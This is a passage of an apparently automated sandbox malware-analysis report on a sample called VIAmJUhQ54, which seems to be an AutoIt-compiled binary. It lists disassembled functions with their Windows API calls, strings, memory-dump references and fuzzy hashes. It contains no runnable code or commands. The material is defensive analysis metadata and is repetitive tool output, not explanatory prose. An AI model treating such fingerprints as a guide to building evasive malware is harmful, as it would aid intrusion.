Part of subcall function 007244ED: __fread_nolock.LIBCMT ref: 0072450B

_wcscmp.LIBCMT ref: 0076C65D
_wcscmp.LIBCMT ref: 0076C670

Strings

FILE, xrefs: 0076C5A5

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: e389f7d05691b31619237a902499cc0620a5a0d52a9cc351dad7885272b2a4e1
Instruction ID: 1d25198c3b54492f21cc9f54fa2943e0506a2a7b8a9f5747b4e1abc19bdb6c6f
Opcode Fuzzy Hash: e389f7d05691b31619237a902499cc0620a5a0d52a9cc351dad7885272b2a4e1
Instruction Fuzzy Hash: 73410972A0025ABBDF11ABA4DC45FEF77B9EF49704F000069FA06E7181D778AA04CB65

Function 0078A76A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 0078A85A
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0078A86F

Strings

', xrefs: 0078A7C3

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: c809c0c8b997e2c207318c6571e8a8dd1ad7172b643fe5ef5740a42abcb4b475
Instruction ID: 8f8a11f44a6035e3a2c12be76a40849a49dea1ef02a9ede2c28732b6da769c69
Opcode Fuzzy Hash: c809c0c8b997e2c207318c6571e8a8dd1ad7172b643fe5ef5740a42abcb4b475
Instruction Fuzzy Hash: 5541F874E41309AFEB14DF68D881BDA7BB9FB08310F14406AE905AB341D774A941DFA1

Function 0078975A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 0078980E
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 0078984A

Strings

static, xrefs: 007897AA

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: ba94b9dfa33057a45d2a94edf349333869c3f0ebce15ec33eb0be44c5dfa8f80
Instruction ID: 6a7d73863340c2b13e1f3a13794e14c66491f17d3e8c84ed8c3cf5f16a0d1cef
Opcode Fuzzy Hash: ba94b9dfa33057a45d2a94edf349333869c3f0ebce15ec33eb0be44c5dfa8f80
Instruction Fuzzy Hash: 96318B71150604EAEB10AF74CC80BFB73A9FF99760F048619F9A9C7191CB39AC81C764

Function 00765157 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 007651C6
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00765201

Strings

0, xrefs: 007651BF

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 77874422c5773dbe88d2316a99a55f594636114ee3f554f1f02582fa2fca4e05
Instruction ID: 3ca705b7204bb28dca40a293b65d8824b65410c8468899d0727f45fcbf78aea8
Opcode Fuzzy Hash: 77874422c5773dbe88d2316a99a55f594636114ee3f554f1f02582fa2fca4e05
Instruction Fuzzy Hash: A231F8B1A00704DFEB24CF99D855B9EBBF4FF45350F144019ED87A61A0D7789944EB10

Function 0077658B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00776608

Strings

AUTOITCALLVARIABLE%d, xrefs: 007765FA
, $, xrefs: 00776648

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __snwprintf
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 2391506597-2584243854
Opcode ID: e77c0a0106181e1a1f6eef5765a483bc712f0ec71cd1a727a3c90377f8adfa0a
Instruction ID: 0ee6294c55a2e0efd8591667ad764ac95fe8fe4422cb61636f853007e47f2772
Opcode Fuzzy Hash: e77c0a0106181e1a1f6eef5765a483bc712f0ec71cd1a727a3c90377f8adfa0a
Instruction Fuzzy Hash: 29218E71A00528EBCF10EF64D886EAD77B4AF44740F404469F405EB185DB78EA55CBA2

Function 007893CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0078945C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00789467

Strings

Combobox, xrefs: 00789429

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 82a79b60fafa04787a3b4845d78847acbef425569db0f7c9aaf574d0619882c0
Instruction ID: f304b7b5dad3803fcac7b3544c956d9bcc7d1ef385bc1304008f02fc00608972
Opcode Fuzzy Hash: 82a79b60fafa04787a3b4845d78847acbef425569db0f7c9aaf574d0619882c0
Instruction Fuzzy Hash: 8111B2B1340249BFEF21AE54DC80EBB376EEB883A4F144125FA1997290D6399C528B60

Function 0078DA42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 0073B34E: GetWindowLongW.USER32(?,000000EB), ref: 0073B35F

GetActiveWindow.USER32 ref: 0078DA7B
EnumChildWindows.USER32(?,0078D75F,00000000), ref: 0078DAF5

Strings

T1w, xrefs: 0078DAFB

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$ActiveChildEnumLongWindows
String ID: T1w
API String ID: 3814560230-2630401107
Opcode ID: 1916832c5a91e88b70c442897196dbe6d5723d8b68c1bcb1629a3985ab62db0c
Instruction ID: 92b7d5df2f1bd8cd7181682bc25d623220113712152fa4fb7145d6b7a82d5e8b
Opcode Fuzzy Hash: 1916832c5a91e88b70c442897196dbe6d5723d8b68c1bcb1629a3985ab62db0c
Instruction Fuzzy Hash: 35217C75205240DFC724EF68D881AA677F5EF89320F654618F96A8B3E0DB38AC40CF64

Function 007898FE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0073D17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0073D1BA
Part of subcall function 0073D17C: GetStockObject.GDI32(00000011), ref: 0073D1CE
Part of subcall function 0073D17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 0073D1D8

GetWindowRect.USER32(00000000,?), ref: 00789968
GetSysColor.USER32(00000012), ref: 00789982

Strings

static, xrefs: 00789945

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 69086e3211f6ef552b76f93cdd8e6e3e5e3ef169d2e5034756cdbd81cf7e196e
Instruction ID: a2d9079598a79eed9fe76530bf656876a3a156ab57152570f808679c7240f2e6
Opcode Fuzzy Hash: 69086e3211f6ef552b76f93cdd8e6e3e5e3ef169d2e5034756cdbd81cf7e196e
Instruction Fuzzy Hash: 1D113A72550209AFDB14EFB8CC45AFA7BB8FB48354F054619FA56E3250E738E850DB50

Function 00789617 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00789699
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 007896A8

Strings

edit, xrefs: 0078967D

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: f6eae3ddfbd48920f3b1661c7a4a91d803a24ade3fee74af397db270a13b369a
Instruction ID: 6f55ff729737c3a518abfac577f608a56ba3c3fd86291e24f71f94ed027ae4da
Opcode Fuzzy Hash: f6eae3ddfbd48920f3b1661c7a4a91d803a24ade3fee74af397db270a13b369a
Instruction Fuzzy Hash: 0D118C71640108ABEF216FA4DC84EFB3B6AEB053B8F544314FA65971E0E739DC50AB64

Function 00765262 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 007652D5
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 007652F4

Strings

0, xrefs: 007652CE

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: d229fd9bacf0f75bd0b08a846a7a833e05ce1ea5419c9fc3ad238eaa9e6815a7
Instruction ID: 4ac37671fee53cf7241c49f3078084b61cafd90e686b64b21f452d41f173dc30
Opcode Fuzzy Hash: d229fd9bacf0f75bd0b08a846a7a833e05ce1ea5419c9fc3ad238eaa9e6815a7
Instruction Fuzzy Hash: 9A11E276E01614EBDB20DF99DD44B9D77B8AB09B58F040025ED03E7290D3B8ED44EB90

Function 00774D9F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00774DF5
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00774E1E

Strings

<local>, xrefs: 00774DE6

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 7f6b0abc5baf7b37f39493af9554555b156d4722dead3c825710453855e11635
Instruction ID: 17469998ea5dd67080c91e98c5c50e9e3d1ce9a46027e9c4f61c77361fa3e027
Opcode Fuzzy Hash: 7f6b0abc5baf7b37f39493af9554555b156d4722dead3c825710453855e11635
Instruction Fuzzy Hash: 52117070601621BBDF398F51C889EFBFAA8FF167A5F10C22AF65956540D3B85940C6E0

Function 0074A70C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 007537A7
___raise_securityfailure.LIBCMT ref: 0075388E

Strings

(~, xrefs: 00753889

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: (~
API String ID: 3761405300-3406621756
Opcode ID: f28ecee33622470cf175d85e3f1081375f402fb32c18f21b681ac1301ba77e10
Instruction ID: 663dd0caaa72a28e246b2050b063ccb11e4d663a6be081c8e6032e2fca28b943
Opcode Fuzzy Hash: f28ecee33622470cf175d85e3f1081375f402fb32c18f21b681ac1301ba77e10
Instruction Fuzzy Hash: 7D21DFB5602384DAD700EF65EDD66503BB5BB4C314F10D86AE9048E2A0E3FC69C4CBC9

Function 0077A82C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52networkCOMMON

Download Yara Rule

APIs

inet_addr.WSOCK32(00000000), ref: 0077A84E
htons.WSOCK32(00000000), ref: 0077A88B

Strings

255.255.255.255, xrefs: 0077A866

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: htonsinet_addr
String ID: 255.255.255.255
API String ID: 3832099526-2422070025
Opcode ID: fc926ac887c6d0c844dfb0ce7895320902758413e31a16669269bc5f87eceec0
Instruction ID: 07bf0f5c29ddc3a1adb7f5f02b81cf8ea99118cbc61847034ad46a400a338a9d
Opcode Fuzzy Hash: fc926ac887c6d0c844dfb0ce7895320902758413e31a16669269bc5f87eceec0
Instruction Fuzzy Hash: 0A01D675200304BBDB229F64D84AFADB364EF85350F10C426F51A9B3D1D779E8058756

Function 0075B781 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 0075B7EF

Strings

ComboBox, xrefs: 0075B78B
ListBox, xrefs: 0075B7B9

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend
String ID: ComboBox$ListBox
API String ID: 3850602802-1403004172
Opcode ID: 02975c28f07050e12bbf728821e2b60748bc0145a65ee88ad82e1372689917d6
Instruction ID: 18cbd145313e03c61a8520470a174cb641aed21ad1a8451f147d0447a7899bdd
Opcode Fuzzy Hash: 02975c28f07050e12bbf728821e2b60748bc0145a65ee88ad82e1372689917d6
Instruction Fuzzy Hash: 630128B1600128EBCB15EBA4DC469FE33B9BF65350700061DF862972C2EBB86C1CC790

Function 0075B67D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000180,00000000,?), ref: 0075B6EB

Strings

ComboBox, xrefs: 0075B687
ListBox, xrefs: 0075B6B5

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend
String ID: ComboBox$ListBox
API String ID: 3850602802-1403004172
Opcode ID: 4ae7a12ceea97b13c07e7441436c20cf06e25c09f56e1d317ca9b196b6e91afc
Instruction ID: c5bd482cc171b9f292543efbe15e41e90fa1f2b383bda630ff5ed13c91fb646f
Opcode Fuzzy Hash: 4ae7a12ceea97b13c07e7441436c20cf06e25c09f56e1d317ca9b196b6e91afc
Instruction Fuzzy Hash: FE01A2B1A41014ABDB15EBA4D956AFF73B8DF25341F100019B802B7282EBAC5E1D87B5

Function 0075B700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000182,?,00000000), ref: 0075B76C

Strings

ComboBox, xrefs: 0075B70A
ListBox, xrefs: 0075B738

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend
String ID: ComboBox$ListBox
API String ID: 3850602802-1403004172
Opcode ID: 3e1172b9c46a600524ef73e1c31049be5ea7f90f8c5086853de902255fedc6de
Instruction ID: deae86d59224e22c512af67237e4cc01cfd663055ff320ef0706da9662fd7ff8
Opcode Fuzzy Hash: 3e1172b9c46a600524ef73e1c31049be5ea7f90f8c5086853de902255fedc6de
Instruction Fuzzy Hash: E301D6B1640114FBDB11EBA4D906EFE73AC9B69341F10001AB802B3292EBAC5E1D87B5

Function 00744D7C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00744D9E
__calloc_crt.LIBCMT ref: 00744DB7

Strings

"~, xrefs: 00744DCE

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __calloc_crt
String ID: "~
API String ID: 3494438863-4097740423
Opcode ID: 1fdfe3c38f9eae26b701a9d6f971457a2e70f9e05d72c39dfb4fa591d72ddca3
Instruction ID: 185081ba84e475c5087f60de2adecb4496e0a0c03e21b77ba61bb4b137f2244b
Opcode Fuzzy Hash: 1fdfe3c38f9eae26b701a9d6f971457a2e70f9e05d72c39dfb4fa591d72ddca3
Instruction Fuzzy Hash: F4F0C87170A6019AE7249B19BC8176667DCF709720F11852BF300CE296E77CC8425E99

Function 00724024 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

LoadImageW.USER32(00720000,00000063,00000001,00000010,00000010,00000000), ref: 00724048
EnumResourceNamesW.KERNEL32(00000000,0000000E,007667E9,00000063,00000000,77080280,?,?,00723EE1,?,?,000000FF), ref: 007941B3

Strings

>r, xrefs: 00724028

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: EnumImageLoadNamesResource
String ID: >r
API String ID: 1578290342-469737457
Opcode ID: 1728d1f29e31f0c88f386412589172b5b6516ba19ba62d43384a954c84836752
Instruction ID: b7ad73fed34cbac24ab4039542a0b36978917055ceb69d2afa512826ae7b046d
Opcode Fuzzy Hash: 1728d1f29e31f0c88f386412589172b5b6516ba19ba62d43384a954c84836752
Instruction Fuzzy Hash: 9EF0F63164135477D2308B15FCC7FC23B59E74DBB4F508106F211AE1D0D2F884D08A98

Function 00767744 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00767762
_wcscmp.LIBCMT ref: 00767774

Strings

#32770, xrefs: 0076776E

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: d057ff7b32cd4e718cb02bb45383daaddbb1f20881d0ad42ff52c8c4716114e1
Instruction ID: 37af9792e0e362d463b64edbe1b46f8039a9c2d5f330bf39ea8ea268acb30bea
Opcode Fuzzy Hash: d057ff7b32cd4e718cb02bb45383daaddbb1f20881d0ad42ff52c8c4716114e1
